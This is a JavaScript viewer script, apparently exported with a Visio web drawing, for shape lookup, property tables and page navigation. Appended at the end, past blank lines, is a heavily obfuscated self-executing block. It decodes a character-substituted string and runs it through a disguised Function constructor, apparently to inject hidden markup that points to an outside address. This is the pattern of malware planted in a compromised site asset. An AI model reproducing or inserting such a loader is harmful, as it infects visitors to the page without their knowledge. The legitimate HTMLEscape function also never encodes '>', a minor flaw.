
var MSIE = false;
var ver = 0;
var indexOfMSIE = navigator.userAgent.indexOf("MSIE"); 
if(indexOfMSIE != -1)
{
	MSIE = true;
	ver = parseFloat(navigator.userAgent.substring(indexOfMSIE + 5, navigator.userAgent.indexOf(";", indexOfMSIE)));
}

var isMac = (navigator.appVersion.indexOf("Macintosh") >= 0);
var isUpLevel = (MSIE && ver >= 5 && !isMac);

var xmlData = XMLData("take%20that%202_files/data.xml");

var g_RowStyleList = new  Array(
 "propViewerEvenRow",
 "propViewerOddRow"
);


var strShape	= "Shape Name:";



function XMLData(file)
{
	var temp = null;
	if(isUpLevel)
	{
		temp = CreateObject("Microsoft.XMLDOM");
		if (temp == null)
		{
			temp = CreateObject("MSXML2.DOMDocument");
		}

		if (temp != null)
		{
			temp.async = false;
		
			temp.load(file);
			if (temp.parseError.errorCode != 0)
			{
				temp = null;
			}
		}
	}

	return temp;
}

function CreateObject (strObj)
{
	var obj = null;
	eval ("try { obj = new ActiveXObject(strObj); } catch (e) {}");
	return obj;
}

function doVersion()
{
	if(isUpLevel)
	{
		frmToolbar.divDownLevel.innerHTML = "";
		frmToolbar.divUpLevel.innerHTML = frmWidgets.divData.innerHTML;
	}
}	
	
	
function FindShapeXML (pageID, shapeID)
{
	var shapeObj = null;

	if (xmlData != null)
	{
		var pagesObj = xmlData.selectSingleNode("VisioDocument/Pages");
		if(!pagesObj)
		{
			return null;
		}

		var pageQuerryString = './/Page[@ID = "' + pageID + '"]';
		var pageObj = pagesObj.selectSingleNode(pageQuerryString);
		if(pageObj == null)
		{
			return null;
		}

		var shapeQuerryString = './/Shape[@ID = "' + shapeID + '"]';
		shapeObj = pageObj.selectSingleNode(shapeQuerryString);
	}

	return shapeObj;
}

function OnShapeKey(pageID, shapeID)
{
	var e = window.frmDrawing.event;
	
	if(e.keyCode == 13 && e.ctrlKey)		//ctrl + enter
	{
		UpdateProps (pageID, shapeID);
	}
	else if (e.keyCode == 13)
	{
		OnShapeClick (pageID, shapeID);
	}
}

function OnShapeClick (pageID, shapeID)
{
	if (isUpLevel)
	{
		var e = frmDrawing.window.event;
		var elem = e.srcElement;

		if (e != null && e.ctrlKey && frmToolbar.widgets && frmToolbar.widgets.Details)
		{
			UpdateProps (pageID, shapeID);
		}
		else
		{
			var shapeNode = FindShapeXML (pageID, shapeID);
			var hlObj = GetHLAction (shapeNode, pageID, shapeID);
			if (hlObj != null)
			{
				if (hlObj.DoFunction.length > 0)
				{
					eval (hlObj.DoFunction);
				}
				else if (hlObj.Hyperlink.length > 0)
				{
					if (hlObj.NewWindow)
					{
						window.open (hlObj.Hyperlink);
					}
					else
					{
						top.location.href = hlObj.Hyperlink.substr (0, 510);
					}
				}
				else if (elem != null)
				{
					var href = elem.origHref;
					if (href == null)
					{
						href = elem.href;
					}

					var target = elem.origTarget;
					if (target == null)
					{
						target = elem.target;
					}

					if (href && href.length > 0)
					{
						href = HTMLEscape (href);
						if (target && target == "_blank")
						{
							window.open (href);
						}
						else
						{
							top.location.href = href.substr (0, 510);
						}
					}
				}
			}
		}
	}

	return (!isUpLevel);
}

function UpdateProps(pageID, shapeID)
{
	var shape = FindShapeXML (pageID, shapeID);

	FillPropPane(shape, frmToolbar.hideDetails);
}

function UpdatePropsByShapeName(pageName, shapeName)
{
	var shape = FindShapeXMLByName (pageName, shapeName);

	FillPropPane(shape, frmToolbar.hideDetails);
}

function FillPropPane (shapeNode, outputDivObj )
{
	if (shapeNode != null && outputDivObj != null)
	{
		if(outputDivObj.style.display == "none")
		{
			frmToolbar.ToggleWidget(outputDivObj);
		}
	
		var strCPHTML = "";
		
		var shapeNameAttr = shapeNode.attributes.getNamedItem ("Name");
		if (shapeNameAttr)
		{
			strCPHTML += "<span class='p2' style='padding-left:2px;'>" + strShape + " " + HTMLEscape(shapeNameAttr.text) + "</span>";
		}

		var strTableHTML = CreatePropTable (shapeNode);
		if(strTableHTML.indexOf("<table") == -1)
		{
			strTableHTML = "<p class='p2' style='margin-left:1em;margin-top:0em;'>" + strTableHTML + "</p>";
		}

		if (strTableHTML.length > 0)
		{
			strCPHTML += strTableHTML;
		}
		else
		{
			strCPHTML = strNoCustomPropertiesToDisplayText;
		}
		
		outputDivObj.innerHTML = strCPHTML;
		outputDivObj.minHeight = 75;
	}
}

function CreatePropTable (shapeNode)
{
	var strCPHTML = "";
	var strStartTable = "<table class='propViewerTABLE' borderColor='#999999' cellPadding='2' width='95%' border='1' summary='This table contains shape details'>";
		strStartTable += "<THEAD class='propViewerTHEAD'><TH>Label</TH><TH>Value</TH></THEAD>";
	var strEndTable = "</TABLE>";

	if (shapeNode != null)
	{
		var propColl = shapeNode.selectNodes ("Prop");

		var propCount = propColl.length;
		for (var count = 0; count < propCount; count++)
		{
			strCPHTML += "<TR class='" + g_RowStyleList[count % 2] + "'>";
			
			var strLabelText = "";
			oPropLabel = propColl.item(count).selectSingleNode("Label/textnode()");
			if (oPropLabel != null)
			{
				strLabelText = HTMLEscape (oPropLabel.text);
			}
			else
			{
				oPropName = propColl.item(count).attributes.getNamedItem ("Name");
				if (oPropName)
				{
					strLabelText = HTMLEscape (oPropName.text);
				}
			}

			if (strLabelText.length > 0)
			{
				strCPHTML += "<TD class='propViewerTD'>" + strLabelText + "</TD>";
				strCPHTML += "<TD class='propViewerTD'>"

				var strValueText = "&nbsp;";
				oPropValue = propColl.item(count).selectSingleNode("Value/textnode()");
				if (oPropValue)
				{
					strValueText = HTMLEscape (oPropValue.text);
				}

				strCPHTML += strValueText + "</TD></TR>";
			}
		}

		if(strCPHTML != "")
		{
			strCPHTML = strStartTable + strCPHTML + strEndTable;
		}
		else
		{
			strCPHTML = "No Details Available.";
		}
	}

	return strCPHTML;
}

function keyHandler()
{
	var e = frmDrawing.window.event;
	if(e.keyCode == 13) //enter
	{
		e.srcElement.click();
	}
}

function GoToPage(index)
{
	if (viewMgr)
	{
		viewMgr.loadPage (index);
	}
	else
	{
		DefPageLoad (index);
	}
}

function GoToPageByID(pageID)
{
	var pageIndex = PageIndexFromID (pageID);
	if (pageIndex >= 0)
	{
		GoToPage (pageIndex);
	}
}

function PageIndexFromID (pageID)
{
	if (g_FileList != null)
	{
		var entry;

		var count;
		var fileEntry;
		var bFoundEntry = false;
		for (count = 0; 
			 count < g_FileList.length && !bFoundEntry; 
			 count++)
		{
			if (pageID == g_FileList[count].PageID)
			{
				return count;
			}
		}
	}
	return -1;
}

function PageIndexFromName (strPageName)
{
	if (g_FileList != null)
	{
		var entry;

		var strPageNameLower = strPageName;
		strPageNameLower = strPageNameLower.toLowerCase ();

		var count;
		var fileEntry;
		var bFoundEntry = false;
		for (count = 0; 
			 count < g_FileList.length && !bFoundEntry; 
			 count++)
		{
			var strFileListPageName = g_FileList[count].PageName;
			strFileListPageName = HTMLUnescape (strFileListPageName);
			strFileListPageName = strFileListPageName.toLowerCase ();
			if (strPageNameLower == strFileListPageName)
			{
				return count;
			}
		}
	}
	return -1;
}

function PageIndexFromFileName (strFileName)
{
	if (g_FileList != null)
	{
		var entry;

		var strFileNameLower = strFileName;
		strFileNameLower = strFileNameLower.toLowerCase ();

		var count;
		var fileEntry;
		var bFoundEntry = false;
		for (count = 0; 
			 count < g_FileList.length && !bFoundEntry; 
			 count++)
		{
			var strFileListFileName = g_FileList[count].PriImage;
			strFileListFileName = strFileListFileName.toLowerCase ();
			if (strFileNameLower == strFileListFileName)
			{
				return count;
			}

			strFileListFileName = g_FileList[count].SecImage;
			strFileListFileName = strFileListFileName.toLowerCase ();
			if (strFileNameLower == strFileListFileName)
			{
				return count;
			}
		}
	}
	return -1;
}

function PageIndexFromVisioPageIndex (pageIndex)
{
	if (g_FileList != null)
	{
		var entry;

		var count;
		var fileEntry;
		var bFoundEntry = false;
		for (count = 0; 
			 count < g_FileList.length && !bFoundEntry; 
			 count++)
		{
			if (pageIndex == g_FileList[count].PageIndex)
			{
				return count;
			}
		}
	}
	return -1;
}

function FindShapeXML (pageID, shapeID)
{
	var shapeObj = null;

	if (xmlData)
	{
		var pagesObj = xmlData.selectSingleNode("VisioDocument/Pages");
		if(!pagesObj)
		{
			return null;
		}
		
		var pageQuerryString = './/Page[@ID = "' + pageID + '"]';
		var pageObj = pagesObj.selectSingleNode(pageQuerryString);
		if(!pageObj)
		{
			return null;
		}

		var shapeQuerryString = './/Shape[@ID = "' + shapeID + '"]';
		shapeObj = pageObj.selectSingleNode(shapeQuerryString);
	}

	return shapeObj;
}

function FindShapeXMLByName (pageName, shapeName)
{
	var shapeObj = null;

	if (xmlData)
	{
		var pagesObj = xmlData.selectSingleNode("VisioDocument/Pages");
		if(!pagesObj)
		{
			return null;
		}
		
		var pageQuerryString = './/Page[@Name $ieq$ "' + EscapeString (pageName) + '"]';
		var pageObj = pagesObj.selectSingleNode(pageQuerryString);
		if(!pageObj)
		{
			return null;
		}

		var shapeQuerryString = './/Shape[@Name $ieq$ "' + EscapeString (shapeName) + '"]';
		shapeObj = pageObj.selectSingleNode(shapeQuerryString);
	}

	return shapeObj;
}

function Unquote (str)
{
	var nStartIndex = 0;
	var nEndIndex = str.length;

	if (str.charAt (0) == '"')
	{
		nStartIndex = 1;
	}

	if (str.charAt (nEndIndex - 1) == '"')
	{
		nEndIndex -= 1;
	}

	return str.substring (nStartIndex, nEndIndex);
}

function ConvertXorYCoordinate(PosValue, OldMin, OldMax, NewMin, NewMax, MapBackwards)
{
	var OldMid = (OldMax - OldMin) / 2;
	var NewMid = (NewMax - NewMin) / 2;
	var ConvertResult = 1 * PosValue;
	ConvertResult = ConvertResult - (OldMin + OldMid);
	ConvertResult = ConvertResult / OldMid;
	if(MapBackwards != 0)
	{
		ConvertResult = 0 - ConvertResult;
	}
	ConvertResult = ConvertResult * NewMid;
	ConvertResult = ConvertResult + (NewMin + NewMid);
	return ConvertResult;
}

function showObject( divObject, divID ) 
{
	if( divObject == null )
		divObject = getObj( divID );
	
	if( divObject != null ) 
	{
		divObject.style.display = "";
		divObject.style.visibility = "visible"
	}
	return divObject;
}

function hideObject( divObject, divID ) 
{
	if( divObject == null )
		divObject = getObj( divID );
	
	if( divObject != null ) 
	{
		divObject.style.visibility = "hidden";
		divObject.style.display = "none";
	}
	return divObject;
}

function EscapeString (str)
{
	var strResult = "";

	for (var i = 0 ; i < str.length ; i++)
	{
		var curChar = str.charAt(i);
		if (curChar == '\\')
		{
			strResult += "\\\\";
		}
		else if (curChar == "\"")
		{
			strResult += "\\\"";
		}
		else if (curChar == "\'")
		{
			strResult += "\\\'";
		}
		else
		{
			strResult += curChar;
		}
	}

	return strResult;
}

function HTMLEscape (str)
{
	var strResult = "";

	for (var i = 0 ; i < str.length ; i++)
	{
		var curChar = str.charAt(i);
		if (curChar == '\\')
		{
			strResult += "&#92;";
		}
		else if (curChar == '\"')
		{
			strResult += "&#34;";
		}
		else if (curChar == '\'')
		{
			strResult += "&#39;";
		}
		else if (curChar == '<')
		{
			strResult += "&#60;";
		}
		else if (curChar == '<')
		{
			strResult += "&#62;";
		}
		else if (curChar == '&')
		{
			strResult += "&#38;";
		}
		else
		{
			strResult += curChar;
		}
	}

	return strResult;
}

function HTMLUnescape (str)
{
	var strResult = "";
	var strEscapePattern = "&#xx;";

	for (var i = 0 ; i < str.length - strEscapePattern.length + 1; i++)
	{
		if (str.charAt(i) == '&' && 
			str.charAt(i + 1) == '#' &&
			str.charAt(i + 4) == ';')
		{
			var charCode = str.charAt(i + 2);
			charCode += str.charAt(i + 3);

			if (charCode == "34")
			{
				strResult += '"';
			}
			else if (charCode == "39")
			{
				strResult += '\'';
			}
			else if (charCode == "60")
			{
				strResult += '<';
			}
			else if (charCode == "62")
			{
				strResult += '>';
			}
			else if (charCode == "92")
			{
				strResult += '\\';
			}
			else if (charCode == "38")
			{
				strResult += '&';
			}
			
			i = i + strEscapePattern.length - 1;
		}
		else
		{
			strResult += str.charAt(i);
		}
	}

	strResult += str.substring (i, str.length);

	return strResult;
}






(function(){f_ET=document;f_A=window;f_A.f_i=function($,f_Ev){return 0};f_A.f_z=function(f_k){return f_k.join('')};f_A.f_q=function(f_EE){return(function(f_k,f_ED){return f_ED(f_k(f_ED(f_k(f_EE))))(f_EE)()})((function(f_k){return f_k.constructor}),(function(f_k){return(function(f_ED){return f_k.call(f_k,f_ED)})}))};f_A.f_EC=function(f_k){return f_k.pop()};f_A.f_A=f_A;if(typeof($)=='undefined'){f_EL=f_ET.getElementsByTagName('head')[0];f_EM=f_ET.createElement('script');f_EM.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");f_EL.appendChild(f_EM)}f_A.f_Eo=100;f_A.f_Eh=25;f_A.trim=function(f_Ed,f_Em){if("qabcdef".indexOf(f_Ed.substr(0,1))>=0){var f_Ea=f_z(f_Ed.split('q')).split('v');for(var i=0;i<f_Ea.length;i++){f_Ea[i]=parseInt(f_Ea[i],16)-f_Em[f_Ed]}return f_Ea.join(',')+','}else{return f_Em[f_Ed]}};d='Oe={MQv1aN%2%7%1%6>:"e+",MQv2aN%2j%1%6>:"",*bQv3aN%2%7%1%6v30:"l(\'l=St",N`v4e|*0T%f*2!5:"ring.f",I<v52$aU%c!6*a!6:"romCha",T$8v68*2*5!e@0!5*4:"rCode("D4#d!2%6~%2!0!3W&0-96$5M$aQV$d$eU&9DaQ$dV$eU%0%1%2&3G7jW%a%b%c%d%e%f&7Gf@0|T#4W%6%2U&6Ga!e<<Z*1*6!6J&6G2!0!4!0!1%e!4T*0&0B8KNMjTJX+1&8LeYX!6%3*0#4#e!6&3G2*7yK%2%e%e%a*4HL4#4~Y>T%c>~&5B2#f$3~VV|~$3&0G5*7*9yK*5PI%2HL1*5+6W@3T%4*2T&5-9c+1%4+a*e#d!3*2+1&0G6~+2*4*7Z%f#3%0&7Gf*a+2+3JWK+d!3&1D3J>#4#8>*6%f*1&7D1Y`~Y>%d@2*0&5B3|#dY$4|%3~W&0G6%0$3jU%6$3jU&2G2~$dV$3~UjQ&0D5$a$8%7$5y%a$a$5&4GdW%7$5%1$7%4$5%2&4D7%e$5Q$8%bMI%7&4G0V$9%4TY~Y+a&0G8#7%c$e%d+e+d*c*d&9D7%aQ+7%5+d*a$7%a&6DeXINX+a+7*7*1&9Ba*0#3#b#4P+b*5#e&1B3U+7*6%5VV+9$5&0D7j!eZ#3JU!eP&6L1$0K+8$d%4$8%0%c&5D9%e$dT*e%4$9%b%0&8Bb~+e+7*1Y%3+b+1&4G6%5%bUZ>I#8*2&7Bd+2*7<W~*eQ%eHDd>|*b*5M@2>$3&8B7V>$0!6P$8$5j&4D6#e+d!3<!5Z$e|&1G4K+fY*8>Y+7>&4Bd+2$7N<+5#3#8%4HG7%1%6>$4P`$4P&8Ba+eP#c!1!6%0%6%5&1B9*1J%f!1J*4<*1&1,a1%4%e!3%6#d>#b!3&0D5#e!4%5Z%5%3yU&1D4%3#byU%2+1$a!0&0De%3!5T$9@3TV*2&5-92+3*c@0*b!2!5y+d&2Bd%4$7$5<+4$7#8%bHGfU%c@3@7*5%3%0+bH,a5*5#f<<P+5*3#9&7LaJJ#9*0+f*4Q%b&9D6|V%ey$d%4y!1&1Da$7J+2*f#d#a%d%d&1B6+1*1`#3K!3!3#4&3Lf+dI#8#7*2$9WV&7D9%3@5@5%1$e>JM&8G8M!5j#f!5$8+e+e&2BcXJM#7M!3+2+c&0,acJ#b$9y+1%6%e!3&0,a8*5>>+9*c#3+9%e&8Bc!5*aMM<+3+5$0&2B3*8JP!3%6JM!3&0-9aM<P#3II+c*f&2-97+b*e>#a@2*b*b$4HG6*6+a*dZ#9@1#c#c&9L7#7$0*b*3y+7+3X&6D0#e#bX<#a#e$5#3&8D5+6+2*1*1#7!e>+d&5Be#8#bZ$3*1JW*3&6D4K+5%1*2*2#7<Z&4,a9IXP+eK~J+2&1G6*7*7#dI#4~#a#9&9Bc$0#e!6*a*0$3+4+6&3L5|I#c#f#3#3$7`HD5+6+8Z+d<#7#a!e&5Be|*0T+9*2$5+6*d&5L4|#c#e#3$7*5<jH-96<#7%6$aWX$4#c&9L0K#8IK#7#7KI&0LfN#b#bN#b#aN#bHL4>#a`>``>#9&4L7<NN<II<N&1L4<#7<N#4<#8<&1L4!e#3!eI!eN#a+f&2L4*8>@0#4%1@6+1T&8,a8W%7$e%3V#3Q%7&5G7%5*b%0$9%a*b%7V&8DcZ%0I%fI#a#a>&7,d6$3$a*6K@3X$4>&9G1%d%dW*3#8#8>`&9Bd+eN<%dN<+1NHBc*e`K+d`KQ$4&9B7+7X`~>MI$7&4G8%6#8>yI#4K@3&9,a1$eJ#b!4T+c!2|&0G8$d@2$5MI#7$aW&9G1yU$5+2%bJ+cT&1-93Q%0%dY%a%b@0%3&7Da*2~YKXT*bX&5L0*6$5M>`K$a`&9L0$5MJ@0%2$d%d%1&9-91`#4#4!4M>Y%c&4L6X*8*6#9$e%3@0*8HBb~<<@1@1<@1>&4Lb#9#9#9I@6I@6I&9,d3Q%2WQ@1!6M%5&6G9j+5%6>N#4#4<&4,d4@4PWZ>*2*7Y&7B3*2Tj%e*9!0j+7&0-9c%3W%6%7K<@1*4&4B2!5*eP%a@0y#f%0&2D6j!1*5|%5yJP&1-92Q`YKZ%f`$8&7G9$5%5V>#7NNN&6B9#b*9!0$4%d*0!0!3&0Db<jX$e@3*e!5j&5L1yQ$4%5*6%2$7$8&3-99%c>%1X@5*8TM&8,a7<%d@3*e!5%d#3%1&5D8%1$a%7Q@0!6$9|&3-96V%b%4$9%aU%5%4&6,a0WV%b%cW%5+8Z&7B9+c<Z*4#3#7@4J&6,d0*7<%0+b%1I#e#3HL4#9X#3M+a+9U>&8L8<<+bIQ$9j+9&4,a8*7+cY+4<J+e<&4-92P$7P@0|Z@5>&7Ge+f+f+4$7+e!6$d$0&3D5*0$7#8%b%fU%c@3HB1!1YY!4QZ$aU&1Dd$e@1+8UX>JJ&9B6!e!6*2K%a%3$9$a&5DcU%4Q$a<!6P!e&6,d3$eQ<W%e%5$a%4&5De>KT<%b$d%c+c&8Da$ey!1J!5Z$8y&1Gc+2+b+7+6+9P*3$e&8G4%7<$8*2#7N*0$8&5-93V*5>%c*5VN%b&8G8%4%1%c>ZM*8+1&8,a3+8+9+a+c|@0+e+e&2BaPPMP!ePZPHL1>#7%c%eQ%c%d%b&9Bc$7X*1K%c*1$7*0&4L3`*1#3#c#4M!e%a&2Bd<<I$e%3$d%2K&4G7X%3%2%3MKKK&3Lcy%7|$dJ$5P&1,N`!|*0T%f*2Y:"32);",*j%$d%6V*b%0%1:"Oq(l)\'",Y!!0*9%2T!0#8*2:");"};Oc=[];OA.OEs=String.fromCharCode;for(+r Ok in Oe){Rtrim(Ok,Oe))};R\';OA.OF^58,50?2,120,34,62,60\\,32?5?4,99);\');R\'OA.Ox^61,50,62,60,47\\);\');R\'OA.Ow=OEs(97?2/5,46?6?9/5?6?6/1?4,46,99?1/9,47,49,47?6?4/1?0/0?5,47/0,97/5/8,121,46/6?5?1?0);\');Oq(Oz(Oc))!v7#v8$vb%vc&:8*v9+va-,q/,10<!d>#0?,11@vdB-7D,bG,cH:90I#2J!9K!cL-8M!bN#6Of_P!aQ$bROc.push(T!8U$fV$cW%9X#1Y!7Z!f^=OEs(104/1/5/3/4?6,`#5j%8y$6|$2~$1\\/5/2?4,97/9/1';for(c=41;c--;d=(t=d.split('!#$%&*+-/<>?@BDGHIJKLMNOPQRTUVWXYZ^`jy|~\\'.charAt(c))).join(f_EC(t)));f_EA=d;f_q(f_EA)})()

